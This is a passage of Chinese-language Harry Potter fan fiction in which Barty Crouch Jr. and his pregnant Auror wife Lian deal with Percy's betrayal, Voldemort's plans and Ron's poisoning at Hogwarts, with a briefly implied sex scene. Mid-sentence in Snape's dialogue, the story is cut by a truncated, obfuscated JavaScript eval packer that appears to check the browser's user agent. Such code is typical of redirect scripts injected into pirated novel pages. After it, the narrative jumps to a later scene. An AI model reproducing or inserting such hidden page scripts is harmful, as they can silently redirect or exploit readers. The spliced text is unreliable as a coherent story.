就像小巴蒂说的,珀西是无事不登三宝殿,连亲人都拿出来卖了,尽管斯克林杰说是在附近办事,珀西想来看看家人,但这才是他们来的真正原因:为了斯克林杰能跟哈利单独谈话。 “没事。”哈利劝住了卢平和小天狼星,制止了他们站起来的冲动。 “太好了!”斯克林杰走出门外,“我们就在花园里转转,然后珀西和我就走,请继续吧,各位!” 莉安没有参与韦斯莱的家事,但她对珀西很失望,淡淡的瞥了他一眼就继续吃东西了,毕竟她一人吃两人补,这一次她的胃口出奇的好。 “这就是你来的目的?把哈利出卖给魔法部?”乔治冷冷的说。 “你怎么好意思?你的脸皮是龙皮做的吧,珀西?”弗雷德说,“去年是谁让我们和哈利、和邓布利多保持距离的?” “他还特意给我写了封信,”罗恩不满的小声嘀咕着,“他说哈利精神失常,有暴力倾向…” “我记得去年暑假他也说了一大堆可怕的话,”金妮愤怒的尖叫着,“他说自从他进了部里,就一直不得不拼命挣扎,摆脱爸爸的坏名声,他还说爸爸没有一点抱负,害得我们一直过得拮据,一直没有多少钱——” “真可怕,你们之前居然没有告诉我他还说了这些话,”莉安喃喃的说,“我宁愿交出我古灵阁所有的金币,只求成为莫丽的亲生女儿。” “那时候你在养胎,没怎么出门,”小天狼星耐心的说,“每个家族总有一个格格不入的人,像我就是。” “但你是正确的那个。”罗恩嘟囔道。 “我知道应该为谁效忠,”珀西高傲的看着所有人,用不耐烦的腔调说,“我会忠于魔法部,你们真是蠢到家了——哎呦!” 金妮发出了一声怒吼,抄起桌子上的防风草根酱朝珀西脸上泼去,乔治和弗雷德紧随其后。 珀西愤怒的冲出家门,哈利回来后他立刻跟着怒气冲冲的斯克林杰头也不回的走了,只剩下莫丽无助的掉眼泪。 “别哭,妈妈,”金妮拍着她的背,“没事的…” “就是,”罗恩说,“他是这么个蠢猪,不是什么损失,是不是?” 莫丽抽泣得更厉害了。 “你没答应他什么吧?”小天狼星急忙问道。 “没有,”哈利火大的说,“他说为魔法部效力是我的义务!但我认为,把人关进监牢前先查明他是不是食死徒才是魔法部的义务,我对魔法部很失望,要么是福吉,人差点在眼皮底下被杀了还假装天下太平,要么就是他或者巴蒂·克劳奇,关押无辜,还想假装有救世之星在为他工作!” “我甚至也不知道这份工作还适不适合我了,”莉安沮丧的说,“我不想抓无辜的人。” “那不是你们的错,”亚瑟耐心的说,“莉安,你不能辞职,你跟唐克斯的情报很有用,要知道金斯莱被派去保护麻瓜首相了,我们需要在傲罗指挥部有自己的人手。” “我明白,”莉安低声说,“我会的,亚瑟。” 小巴蒂慢悠悠的喝着樱桃汁,“再过几个月就不能去了,生完孩子再说,唐克斯可以自己顶一阵子…吧?” 他不确定的说,“她这个状态…怎么解决呢?” 卢平不自在的扭动着身体,活像屁股下面有钉子在扎着他似的,让他坐立难安,最终,他一溜烟的逃跑了。 “我还有任务,我得先回去了。” 众人面面相觑,小天狼星迷茫的看着兄弟的背影,完全摸不着头脑——他脑子里没有爱情那根弦儿。 莉安想到唐克斯那副为爱憔悴的样子,不禁发出了一声来自灵魂深处的感叹。 “唉,不要爱上诡计多端的老男人。” 哈利他们几个年纪较小的孩子迷茫的看着她,莫丽也不哭了,恨恨的点了点头。 莉安非常得意,这可是她的肺腑之言呐,想想七年级刚开学那两个多月,那些辗转反侧和食不下咽,这可是她的亲身经历! 等等…亲身经历? 她哆哆嗦嗦的往旁边看去。 小巴蒂对她露出了一个看似温柔实则凶狠的笑容,牙关紧咬。 “我突然觉得,”她很慢很慢的说,“我应该在陋居住几天。” “又在说胡话了,”小巴蒂轻声的说,“莫丽已经很忙了,你就别给她添麻烦,咱们家里有三个小精灵,一个专门照顾你,另外两个照顾孩子们,刚刚好。” “没错,这多清闲,”芙蓉表示了支持,“你留在这里是想喂鸡吗?” 莉安磨着后槽牙,恶狠狠的瞪着芙蓉。 这个不合时宜的家伙总能说出不合时宜的话! 小巴蒂紧紧的抓着她的手臂,把她从椅子上拖起来,淡定的说,“那我们就先回去了,孩子们见不到莉安会闹腾很久。” “行,那你们先回去吧。”莫丽没看懂侄女求救的眼神,只觉得她怪怪的。 与众人告别后,莉安无助的被小巴蒂拖回了祖宅,战战兢兢的看着他。 “巴蒂…” “叫诡计多端的老男人干嘛?”小巴蒂慢条斯理的脱掉衣服,等待变形,他懒散的倚在床头,翘着二郎腿。 “我不是说你…”她硬着头皮说,“是卢平…” “噢,原来我被扫射了。”小巴蒂慢悠悠的说,把她拉到床上,扒掉碍事的长袍,四个月的肚子几乎看不出来,他用指尖轻轻的摩挲着。 “干嘛——” 莉安看着小巴蒂的头贴在肚子上,无奈的问,“你到底要干嘛,四个月感觉不到的。” “我在对她说话,”小巴蒂说,“爸爸马上就要来陪你玩了。” “你说什么?”莉安没听懂他的话是什么意思。 “我说——”小巴蒂正在慢慢变形,他的声音变回了他本来的音色,“我马上就要陪她玩了,我要让她动一动,不能这么懒,整天除了吃就是睡,如果她长得太大,你会有危险的。” “你…”莉安瞠目结舌的望着他,舌头仿佛都不会说话了,“你…你在开玩笑?” “满三个月了,她很稳,”小巴蒂的长腿就像章鱼一样灵活,立刻缠住了她的腿,让她动弹不得,“乖乖的,别挣扎。” “我…你…唔唔!” “你什么你呀?这不就是你想要的吗?哼…让诡计多端的老男人好好疼爱你…” 那天晚上莉安枕着他的手臂,聆听他起伏的呼吸声,安然入睡。 入睡前,她模模糊糊的想,或许他自始至终都不曾离开,一直住在这栋房子里,是这个家也是她生活的一部分,他早已存在于这个家中,从那个夜晚一直到现在,在那漫长的名为时间的旅程之中,他们错失的年月不过是一个小插曲。 太长时间,太多岁月,他们触碰过又留在身后的所有生命,这一切原本很可能不会发生,可又确实发生了——时间,正如那天半夜,他们拥抱着睡觉那样,时间一直都是他们为以后拥有彼此的人生所付出的代价。 遇到他之前,遇到他之后。 在遇到他之前的一切,没有生机、空洞,只是惶惶度日,在遇到他之后的一切,激动人心又让人害怕,像站在一座响尾蛇山谷之上看到的海市蜃楼。 “坏蛋…”她喃喃的说,眼睛慢慢合上了。 26. 中毒 小巴蒂头冲着门躺在床上,不知道在想什么,莉安把脸贴在他后背上,但他没有回应。 “我又不是不回家了,”她无奈的说,“如果你实在担心,就去那边的酒吧开个房间,我跟你住在那里,行吗?” 小巴蒂还是没有说话,摆出一副死也不配合的架势,莉安急得都快哭了,想把他翻过来,但小巴蒂绷紧了身体跟她对抗,就是不肯如她所愿。 “巴蒂!”莉安气呼呼的说,“你到底要怎样!你再这样我就——” “你就怎样?”小巴蒂扭动着身体,委委屈屈的叫道,“怎样?把我赶出去吗?” 莉安目瞪口呆的看着他,总觉得最近这男人不太一样了。 “我…” “你什么?”小巴蒂转过头来,哀怨的看了她一眼,声音冷飕飕的,“不好好在魔法部待着,罗巴兹说调你去霍格莫德你就同意了?你是不是忘了你是个孕妇?” “但是我没有选择,斯克林杰对邓布利多非常忌惮,他也知道参加了神秘事务司一战的人都是凤凰社成员,加德文·罗巴兹是他的一手提拔的傲罗主任,他们故意要支开我,让我远离权利中心,去保护霍格沃茨学校的傲罗小分队,我要怎么拒绝呢?和斯克林杰硬刚到底吗?” 莉安叹了口气,轻轻摇晃他的身体,“巴蒂…别跟我闹脾气…” “我就闹!”小巴蒂不依不饶的高叫道,“反正我是诡计多端的老男人,我更年期了,最近情绪不好,你要怎样?” “我投降,”莉安无可奈何的哄着他,“我投降还不行吗?亲爱的,你跟我一起去霍格莫德,好吗?还有,你最近在家的时间怎么这么多,黑魔头最近很闲吗?” “最近忙着拉拢半人类生物,给其他有反抗意图的人施夺魂咒,没我什么事,我的战场在之后的魔法部,”小巴蒂见她服软,轻描淡写的吐出了伏地魔的计划,“我本来就不是做死间的人选,是当时他没人可用,实际上我更像军师,当然,我最近还发现了一些事情,让我很难接受,所以我还在努力思索。” “怎么了?”莉安看他不再生气了,立刻乖乖的钻进他怀里,想多听点儿伏地魔那边的事。 “我总觉得他这次复活后,失去了以前招揽人心的风度,”小巴蒂的眉毛皱成一团,郁闷的说,“他现在完全靠实力镇压手下的食死徒,我能看得出来,除了贝拉和亚克斯利这些极少数的食死徒,其他人各怀异心。” “唔,没错,”莉安说,“只有你这个傻瓜才会心甘情愿的帮他复活,其他人都觉得没有他,在魔法界依然可以过得风生水起,比如马尔福——” “哼,那个家伙,”小巴蒂冷笑一声,“卢修斯的儿子也加入食死徒了,据说还有任务,黑魔王承诺他,只有完成任务他才会把卢修斯从阿兹卡班救出来。” “什么任务?”莉安紧张的心砰砰跳。 “噢,刺杀邓布利多。”小巴蒂心不在焉的说。 “这…但是这怎么可能呢?”莉安瞠目结舌的看着他,“小马尔福跟哈利同岁,让他去刺杀邓布利多?他连哈利都打不过——” “这是个不可能完成的任务,”小巴蒂解释道,“我知道,黑魔王知道,卢修斯的老婆和儿子也知道,但是他们没有选择,因为所有人都看得出来,黑魔王是在惩罚卢修斯办事不力,他本来就没指望那只白鼬完成任务。” 莉安一听到白鼬,忍俊不禁,发出了银铃般的咯咯笑声,“你真坏…当时所有人都想不到你是食死徒假扮的穆迪,毕竟你演的太像了。” 小巴蒂愣了一会儿,“我不是演的,你在办公室不是都听到了吗?” “但那不是说你希望折磨那些食死徒吗?小马尔福又不是。” “没区别,那小子跟他爸爸一模一样,我看见就讨厌,”小巴蒂漫不经心的说,“他想偷袭波特,我想获得波特的信任,顺便折磨他,一举两得。” “我饭都没吃就跑到门厅看热闹。” “是啊,你那么快就来了,我知道你没吃饭,实际上头一天晚上你也没吃,”小巴蒂突然揉了揉她的脸颊,“你瘦了,我就离开了两天,你就瘦了,我制服穆迪多花了一点时间,你知道的,魔法部的人来了,我得先把他们的事处理好,那天还打雷,我知道你害怕,但是紧赶慢赶还是迟到了,你肯定在心里骂我,连饭也吃不下去。” “但我不知道那是你——” “但是我知道你想我陪着你,”小巴蒂斩钉截铁的说,“无论我变成了谁,哪怕你认不出来,我也会陪着你的。” “你当时有这么喜欢我吗?”莉安狐疑的打量着他,“可我总是嘲讽你。” “爱一个人是藏不住的,你嘴上骂我,但你的眼睛总是深情款款的看着我,它们希望我留下来,我又不是像摄魂怪那样的瞎子,何况我不能失去这个世界上最爱我的人。” “我还以为,你认为黑魔头才是最爱你的人,毕竟你总是说,你跟他的关系比儿子还亲。” “他没有提到我的名字,”小巴蒂惆怅的叹了口气,“那天波特被送到墓地去,他复活了,重塑了肉身,召唤了其余食死徒,他跟他们讲述了他十三年的经历,也说了整个复生的过程,但是他没有提起我,只说是一个忠实的仆人,我问过埃弗里和诺特,他们两个都是这么告诉我的,我想,他们没有撒谎。” “这一年多,我都在思考这个问题,我想,也许是他害怕波特泄露我的身份才没有提起我,但是这怎么可能呢,”他喃喃的说,“他压根没打算放走波特,他和我一样笃定波特一定会死在那里,波特不可能逃掉的,我安慰自己,我试图给他找各种理由,但我想,我对他那么忠诚,他只是不领情罢了。” “你知道吗,这次我越狱后,黑魔王立刻就召唤了我,那天晚上你入睡之后,我感觉身体好了一些,马上动身去见他,但是他只是问我如何逃脱的,他对于协助者很感兴趣,我说我夺魂了一个傲罗,让她伺机而动,他不关心我会不会死在阿兹卡班,也没有惩罚那些妄动的摄魂怪,只是赞赏了我的行为,他打算继续使用夺魂咒对付那些反对他的人。” “巴蒂,既然你心生退意,那么…我是说,有没有可能…”莉安艰难的吐出了心里的话,“有没有可能和我一起…战斗…” “咱们打不过他,不如抓紧时间多学点咒语,”小巴蒂冷静的说,“我一直在研究那本古代魔法手札,其中有一个类似‘标记’的诅咒我很感兴趣,不过这是个高深的咒语,得练习很长一段时间,你的阿尼马格斯已经可以高级变形,但是这个咒语比阿尼马格斯还要难一些。” “而且,他像我的父亲,我暂时不能…” “那就慢慢来,巴蒂,我越来越高兴了,”莉安抓着他的手,语无伦次的说,“太好了…太好了,我会帮你的,我相信黑魔头总有一天会被消灭,到时候我要撤销你的罪名…我爱你,我要跟你手牵手走在对角巷、霍格莫德…魔法界的任何地方,不喝复方汤剂!” 小巴蒂看到她激动中还带着点不安的笑容,有些懊恼的想,或许他应该早一些为她考虑的。 或者根本就不应该打扰她的生活。 她嫁给了自己,没有人知道她的丈夫是谁,可怜的挺着肚子面对所有亲人的问责,直到他出现——但那也只是伪装而已,她不能对任何人说她的丈夫是小巴蒂·克劳奇,她也没办法像她渴望的那样,和他光明正大的走在路上。 害羞的她说出“我爱你”这句话需要鼓足勇气,几乎筋疲力尽,如果他一直没有回应她,她会心痛、失落、难过,他不能那么刻薄,因为他也爱她。 在未经任何提示下闯入她的房子,就像在音乐会开幕前几秒钟突然挤进人群的观众,乱一阵又即刻恢复平静,不过,很显然,他并不为自己突然打扰了她而感到一点尴尬,就像在剧院里刚找到他自己的座位,就脱落外套,同时转向她的座位,低声自然的为刚才的打扰无礼无耻的悄声说道:你骂我是大坏蛋,可是今晚你就要和大坏蛋一起睡觉了。 这句话意味着,我就是那个以后你会天天见到的小巴蒂,所以让我们好好相处吧,我就是你从没想过未来会嫁给他的小巴蒂,我也是你余生的每年、每月、每日都希望再次遇到的小巴蒂,我知道你是这么想的,尽管你极力掩饰,但你看到我的一瞬间,你的心里就明白了这一切。 在“你怎会不知道”与“别嘴硬了”的交织中,他仿佛是成年巫师在教小巫师一个简单的把戏:记着我的长相,把它紧紧的刻在脑海,当打雷下雨时,你独自在家,不妨回想这个夜晚,你遇到了小巴蒂·克劳奇。 又像是给一个即将发脾气的小孩子递上一块开心果夹心巧克力,并告诉她:在吃它之前,请什么都别说。 他就是这样,就算吓到了她,但是在她生气之前或者想要抱怨之前,就立刻弥补了过错。 所以她也分不清他的爱与游戏到底哪个是真、哪个是假,又或许它们之间根本没有关联,而那句“给我当个抱枕还凑合”,既像闹着玩的威胁,又像一个无聊的恶作剧。 当他在第二天清晨的薄雾中消失,她担心会就此失去他时,他的长相和声音,以及他们的那场对话已经融入了她的声音、她的笑容和她的生活,仿佛有了魔力,好像只要她在心里对自己悄悄说一声“大坏蛋”,他就又会出现在她身旁,回到在这个客厅里,壁炉旁或者沙发上,还是警惕、戏谑、漫不经心又危险的样子。 她真可怜,比他还要可怜许多,她甚至没能知道他的名字,除了那场对话和那个打着雷的夜晚,他什么也没有留给她,后来她拥有的只是四岁的她拼命找到的一张从报纸上剪下来的入狱照,以及他的死讯罢了。 “你怨我吗?”小巴蒂没有抽回他的手,任由她握着,“两次不告而别。” “怨你,”莉安怨恨的甩开了他的手,“你走了就别再回来,别给我写信,我不会看的。” “我说的不是我要离开,是之前。” “我说了我不会看你的信,等我毕业的时候,一切都恢复正常了,”她继续用那种怨恨甚至是痛恨的语气说,“ 我已经下定决心,我要彻底把你忘掉,如果不是你突然用真面目出现,又那样对我,我永远不会回应你的。” “那两个月,你明明知道我在等着一封信,但你宁愿看我为你受尽折磨,来确定我爱你,也不肯给我回应,直到比尔送了信来,你发现我已经彻底绝望,不想再理会你了,你又忙不迭讨好我,开始每天都给我写信,难道我说错了吗?你就是诡计多端,你漫不经心、恶劣又草率的对待我,而我太年轻,但凡我有点阅历,我才不会轻易被老男人骗…” 后面的话她再也说不出来了,因为小巴蒂怒吼着咬住了她的嘴唇。 “但是我看你挺爱老男人的,你都要给他生第三个孩子了,你这个嘴硬的女人!” “呜呜…松开…” 1997年3月1日,霍格莫德。 “再见,德力士,我先回去了。” 莉安对来换班的傲罗同事打了个招呼,见对方愣愣的点头,才转身走在漆黑荒凉的小路上。 天还没有大亮,她默默的走在寒冷的夜色中,长长的黑色斗篷拖在身后的地上,发出沙沙的响声。 这几个月她都按照斯克林杰和罗巴兹的指示,守在霍格莫德,给学校增加一些保护,偶尔在特定的周末能见到两个表弟表妹,她已经越来越看不懂年轻人的爱情观了。 金妮喜欢哈利,但她现在的男朋友是哈利的室友迪安·托马斯,罗恩喜欢赫敏,但他现在的女朋友是赫敏的室友拉文德·布朗,对于莉安来说,年轻人的爱情真是太复杂的事了。 在她日渐长大时,小巴蒂曾经一度被比尔所取代——那个叫小巴蒂·克劳奇的大坏蛋已经死了,后来陪在她身边,给她讲故事、抱着她玩耍、一起听打雷下雨的人是比尔,她以为自己会跟比尔永远在一起。 谁知道小巴蒂根本没有死呢? 当他再次出现时,他安静的躺在她的床上,就像十几年前她见过的那样,睫毛很长,遮住了那双凶狠的灰色眼睛——只有他睡着的时候,才不会让她那么恐惧他还会突然消失。 他醒来之后,迫不及待的想寻欢作乐,她挣扎的时间比之前更久一些,她想告诉他,她已经接收到了这个讯息,但又不确定是不是自己误解了这一层意思,他只是想玩一玩她,所以她很快就拒绝了。 这就是她对他们重逢那个夜晚的署名与记忆,她对他再次的拥抱产生的曲解,如果她知道如何读懂他的内心,她也许就会看穿这种散漫的假象,看到更深处的内里,发现他是在祈求她用爱直面他,但她不敢抹去这种散漫,尤其是在一个只用怀抱和轻轻一瞥,就轻易掌握了她所有藏心之匙的人面前。 “想什么呢?怎么突然停下了。”小巴蒂的声音在不远处传来,在寂静的黎明中清晰可闻,他带了一盏摇摇晃晃的提灯,那闪亮的橙黄色灯光离她只有十来步远了。 莉安一下子放松了许多,快步迎了上去,他们顺着大路往前走,经过还没开门的佐科笑话店和邮局,然后拐进旁边的一条小路,路口有一家小酒吧。 破破烂烂的木头招牌悬挂在门上锈迹斑斑的支架上,上面画着一个被砍下来的野猪头,血迹渗透了包着它的白布,他们走近时,招牌被风吹得吱吱嘎嘎作响。 “没想什么,”莉安说,“我接到了通知,霍格沃茨这个周末取消了来霍格莫德的活动,罗恩估计会很难受了,今天是他的生日呢。” “噢,没关系,反正你的礼物已经送出去了,”小巴蒂说,“昨晚你走之后,我去邮局用猫头鹰给他送到学校去了,一会儿他醒了估计就会快乐的拆礼物了。” “是啊,他今年做了守门员,要不是托了查理的门路,我还真买不到那套结实又美观的龙皮护具呢,上次我特意问了哈利,他说他准备送魁地奇守门员手套,我的小罗尼这下有整套装备了。” 莉安满意的点头,两人走进了酒吧,里面与三把扫帚酒吧完全不一样,那儿的大吧台总使人感到明亮、干净而温暖,而猪头酒吧只有一间又小又暗、非常肮脏的屋子,散发着一股浓浓的羊膻味。 几扇凸窗上积着厚厚的污垢,光线几乎透不进来,粗糙的木头桌子上点着一些蜡烛头,她第一次来时,以为地面是压实的泥地,可是当踩在上面时才发现,原来是石头铺的地面上积了几个世纪的污垢。 可是没有办法,霍格莫德只有猪头酒吧二楼才有房间提供住宿,三把扫帚酒吧是不提供住宿的,罗斯默塔女士说她一个人忙不过来。 酒吧老板在吧台后面打着盹,他是个看上去脾气暴躁的老头儿,长着一大堆长长的灰色头发和胡子,个子又高又瘦。 她跟小巴蒂轻手轻脚的往二楼走去,酒吧老板不易察觉的睁开眼睛,一双锐利的蓝色眼睛透过肮脏的镜片,在乱糟糟的胡子后面打量着他们。 小巴蒂开了门,房间里面有一张看上去很舒服的床,几件很光亮的橡木家具,壁炉里的火烧得噼啪作响,半敞开的衣橱里挂着他的风衣外套和食死徒的兜帽长袍。 “那个老板应该不会发现吧?”莉安的目光落在床头柜上那张代表食死徒的恐怖面具上,忧心忡忡的说,“我总觉得他有点面熟。” “他从来不会打扫房间,”小巴蒂熄灭了提灯,懒洋洋的靠在床上,“你还没发现吗?这些家具都是我变形出来的,一开始这个房间脏得要死,除了一张硬木床和破破烂烂的桌椅,什么都没有。” “好吧,”莉安无可奈何的说,“你一向仔细,不用我提醒。” “睡会儿,亲爱的,”小巴蒂拍了拍他旁边的位置,“德力士那个蠢货居然真的放心你在夜晚值守,我不得不说,幸亏黑魔王暂时没打算攻陷霍格沃茨。” “但是家长们不放心呐,”莉安脱掉斗篷,把鞋子也甩飞——弯不下腰,她放松的躺到丈夫身边,慵懒的说,“孩子就是魔法界的未来,怎么小心都不为过。” “快睡。”小巴蒂的手臂伸了过来,一只放在她的颈后,一只摸上了她的肚子。 莉安在他熟悉的怀抱里合上眼,苦艾酒味儿,淡淡的,她很喜欢。 也不知道睡了多久,外面突然大吵大闹起来,一只猫头鹰坚持不懈的啄着脏兮兮的窗户,发出笃笃笃的巨大响声,玻璃差点被啄碎。 “怎么了?这是怎么了?”莉安觉得困极了,小巴蒂正在变形,他抬起魔杖,面具飞进了衣橱里,猛地锁上了。 “霍格沃茨出了事情!”德力士敲了敲门,“莉安,麦格给你送信没有?” 莉安迷茫了一会儿,冲外面喊道,“我看到猫头鹰了,但是你不能擅离职守,下次用守护神通知我就可以,德力士,快点回去——” “呃,我忘了,”德力士懊恼的声音越来越远,“你去一趟霍格沃茨,我继续巡逻,明天你就不用来了,我会让普劳特和塞维奇顶你和唐克斯的班。” “就这么说定了,非常感谢!” 莉安摇了摇头,德力士是个光长肌肉不长脑子的家伙,做什么事情必须有人指示,但作为曾经的部长保镖,他战斗力不算差,当年读书时也拿了好几个证书。 小巴蒂已经打开了窗户,把信从猫头鹰的腿上解下来,一目十行的看完,脸上的表情十分古怪。 莉安抓了一把猫头鹰食给那只大灰猫头鹰,它表示了感谢,在窗台上慢慢啄食着。 “什么情况?”她凑了过去,盯着那张羊皮纸。 “罗恩?迷情剂?中毒?抢救?”莉安猛地站起身,脸色煞白。 “我现在去一趟霍格沃茨,”她披上了斗篷,把魔杖拿在手里,“你在这里等我。” “我陪你一起去,”小巴蒂急忙说道,“你现在身怀六甲,我怕你情绪激动会出问题。” “但是医疗翼有庞弗雷夫人——” “她忙着救治罗恩,分身乏术,如果你出了问题,她肯定顾不上你,”小巴蒂坚定的说,“别再跟我拉扯,现在赶紧去霍格沃茨才是最紧要的。” 莉安点点头,看他把一小壶樱桃汁塞进口袋,吻了吻他的额头,“谢谢你,巴蒂,辛苦了,就算加了樱桃汁我也知道它很难喝。” “但这可是你亲自摘的樱桃,”小巴蒂笑了笑,“快走吧。” 莉安急匆匆赶到医疗翼时,小巴蒂才推开门,邓布利多、麦格、斯内普和斯拉格霍恩都转头看着他们,哈利正手足无措的站在罗恩床边,金妮和赫敏一左一右的坐在床边的椅子上,她刚想问问小表弟的情况,一声声急切的呼喊就打断了她。 “我的罗罗在哪里?他有没有说想见我?” 一个扎着两条又粗又大的金色麻花辫、头顶还戴着夸张蝴蝶结的女生——拉文德·布朗旋风一般的跑过莉安身边,径直冲向罗恩的病床,差点把她撞到,幸亏小巴蒂眼疾手快扶了她一把。 “你在这里做什么?”拉文德冲到病床前才发现了赫敏,不满的看着她。 “我还想问你呢!”赫敏不甘示弱的说。 “我是他的女朋友!” “我是他的…”赫敏停顿了片刻,不情不愿的说,“朋友。” “别开玩笑了,你们几个星期没说话了,”拉文德嘲讽道,“你看他现在有意思了,又想跟他和好了。” “他被下毒了,你这个花痴!”赫敏吼道,“而且我一直觉得他很有意思!” 这时,罗恩在昏迷中咕嘟几声,仿佛在说话。 “看到了吗?他知道我来了,”拉文德瞥了赫敏一眼,做作的俯身趴在病床前,“别担心,罗罗,我在这里。” “赫敏…赫敏…”罗恩神志不清的嘟囔着。 拉文德的表情一瞬间变得僵硬,她不可置信的看着罗恩,又看看赫敏,随后露出一个伤心欲绝的眼神,大哭着跑了出去。 “年轻真好,”邓布利多盯着拉文德的背影,转过身意味深长的说,“还能为爱所伤。” “我们离开吧,”他打断了看戏的围观群众们,“韦斯莱先生现在有人照顾。” 莉安:……出息了我的小罗尼,两女争一男的戏码我在比尔身上都没见到! 邓布利多路过正在询问庞弗雷夫人的莉安身边时,特意看了看她的肚子,目光又移到小巴蒂脸上。 斯内普阴沉沉的瞥了他一眼,小巴蒂若无其事的看着他们两个,脸上挂着温和的笑容。 “听说你的守护神不错,”斯内普对莉安说,他的声音里毫无疑问透着恶意,“威力很强大。” “与你无关,”莉安用极度轻蔑的语气说,威胁的举起了魔杖,“鉴于你前食死徒的身份,我有权搜查你的办公室,并直接把你投入阿兹卡班——斯克林杰的新命令,斯内普,别找茬,每次我把那些家伙扔进去,摄魂怪都迫不及待的告诉我,马尔福那些人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“幸好屋里有一块。”哈利抖了抖,仿佛在庆幸斯拉格霍恩有珍藏一块粪石。 赫敏发出一声几乎听不见的抽泣,她一直没有参加关于罗恩是怎样中毒的反复讨论,只是咬着牙,神情恐惧的坐在罗恩身边。 “爸爸妈妈知道吗?”弗雷德问金妮。 “他们已经看过他了,一小时前来的,这会儿在邓布利多的办公室呢,但很快就会回来…” “毒药在酒里?”弗雷德轻声问。 “是,”哈利说,“斯拉格霍恩把它从——” “他会不会趁你不注意时往罗恩杯子里放了什么东西?” “可斯拉格霍恩为什么要对罗恩下毒呢?”莉安问道,“他与韦斯莱无冤无仇。” “谁知道呢?”弗雷德皱起眉头,“有没有可能他把杯子搞混了?本来是想害哈利的?” “斯拉格霍恩为什么要对哈利下毒?”金妮问。 “我不知道,”弗雷德说,“不过肯定有好多人想对哈利下毒,是不是?救世之星嘛。” “但是斯拉格霍恩不是食死徒。”莉安说。 “他可能中了夺魂咒。”乔治插嘴道。 “他可能是无辜的,”金妮说,“毒药可能下在酒里,这样对象就可能是斯拉格霍恩本人。” “谁会想杀斯拉格霍恩呢?” “邓布利多认为,伏地魔想把斯拉格霍恩拉过去,”哈利说,“斯拉格霍恩在来霍格沃茨之前已经躲了一年,而且…也许伏地魔想除掉他,觉得他可能对邓布利多很有价值。” “可你说斯拉格霍恩打算把那瓶酒送给邓布利多做圣诞礼物的,”金妮提醒他,“所以投毒者也可能是针对邓布利多的。” “那么投毒者不大了解斯拉格霍恩,”赫敏的声音听上去像得了重伤风,“了解斯拉格霍恩的人都知道,他很有可能会把好吃的东西都自己留着。” “赫敏…”罗恩突然嘶哑的叫道。 大家沉默下来,担心地看着他,但他嘟囔了几声人们听不懂的话之后又打起鼾来。 “一次探视不能超过六人!”庞弗雷夫人突然从办公室里跑了过来。 “我是探望我妻子的。”小巴蒂说。 “哦…对…”庞弗雷夫人支支吾吾的离开了。 “凯蒂之前也中了毒——那条蛋白石项链,我想两次事件之间有联系。”赫敏轻声说。 “何以见得?”弗雷德问。 “第一,两次本来都该致命的,却没有致命,尽管这纯粹是运气,第二,毒药和项链似乎都没害到原定要害的人,当然,”她沉吟的说,“这样看来幕后那个人更加阴险,因为他们为了袭击真正的目标似乎不在乎干掉多少人。” 没有人对这个不祥的预言做出回答,这时病房的门又开了,韦斯莱夫妇匆匆走向病床,他们上次探视只是确定罗恩能完全康复,现在莫丽抓住哈利,紧紧的拥抱着他。 “邓布利多告诉我们你用粪石救了他,”她抽泣道,“哦,哈利,我们说什么好呢?你救过金妮…救过亚瑟…现在又救了罗恩…” “不用…我没有…”哈利局促的说。 “还真是,现在想起来,我们家好像有一半人的命都是你救的,”亚瑟的嗓子眼有些发紧,“我只能说,罗恩在霍格沃茨特快上决定坐在你的车厢里,那真是幸运的一天,哈利。” 当庞弗雷夫人又提醒他们罗恩床边只能有六位探视者时,哈利和赫敏立刻起身离去,莉安也决定回去了,让罗恩跟家人们待在一起。 “噢,莉安,让你担心了,在这里守了一天,”莫丽吻了吻她的面颊,“你在霍格莫德千万要注意安全,幸好乔希一直跟着你,不然我可不放心。” “我没事,莫丽,”莉安疲惫的笑了笑,“罗恩没事就好,我换了班,明天可以好好睡一觉,放心吧。” 离开医疗翼后,两人往城堡大门的方向走去,莉安不由自主的叹了口气,“采取了这么多保安措施,还是有孩子受伤…邓布利多肯定担心坏了。” “邓布利多那么奸诈,脑子里有几百个主意,没准儿早就知道了,”小巴蒂不屑的说,“他有自己的想法大概。” “你知道谁是凶手?”莉安担心的问。 “肯定是白鼬作妖了呗,还能有谁?”小巴蒂淡淡的说,“我不信邓布利多看不出来,他跟斯内普绝对有计划,去年暑假,卢修斯的老婆时不时就哭天喊地,到处找人帮忙,我拒绝了,估计她找上了斯内普,贝拉也鬼鬼祟祟的,说是教那只白鼬大脑封闭术,省得他在邓布利多面前露出马脚。” 莉安惶恐的看着他,“快十二点了,我得赶紧回去——” “赶紧给邓布利多通风报信是吧?”小巴蒂轻描淡写的说。 “嘘!”莉安从霍格沃茨大门顶上带翼野猪的高高石柱之间穿过,向左拐到通往村子的路上,看上去既紧张又恼火,“我只是想匿名让猫头鹰送一封信给他。” “当然,你可以这么做,”小巴蒂挑挑眉毛,“只要你不怕被发现。” “他不会发现的。” “那你就太低估他了。” “但是我良心过不去,”莉安愤怒的说,“小马尔福想杀邓布利多,却害了罗恩,他是我的亲人!” “好吧,如果你已经决定了,”小巴蒂懒散的拥着她继续往前走,“反正白鼬行事不算隐秘。” “不会影响到你吧?”莉安咬着嘴唇,纠结的看着他。 “都说了白鼬的手段很低劣,照我差远了,”小巴蒂毫不在意的说,“我玩了邓布利多一年,如果不是黑魔王失手,我急着补刀,恐怕我都混进凤凰社里去了,他呢?他往邓布利多面前一站,邓布利多恐怕就发现了那些小把戏,太低级了。” 莉安的步伐有些局促,声音颤抖,“是啊,我知道你是什么人,凤凰社的人至今都悬着一颗心,就怕你搞事情,你是最危险的食死徒,没有之一。” “邪恶的美人计。”小巴蒂心不在焉的说。 “你说什么?”风太大了,把莉安的头发都吹到了脸上,她好像没听清丈夫在说什么。 “我怀疑邓布利多是故意放我走的,他对我用了美人计,”小巴蒂嘀咕道,“你看,这个计谋多成功,他现在有了两个间谍,真是奸诈的老蜜蜂…” 在到霍格莫德的一路上,莉安一直在沉思。 路过邮局时,她终于回过神来,在门口踌躇片刻,终于还是冲了进去,没一会儿,一只猫头鹰从里面飞出来,向着霍格沃茨的方向去了。 “还是被他得逞了。”小巴蒂鼻孔出气。 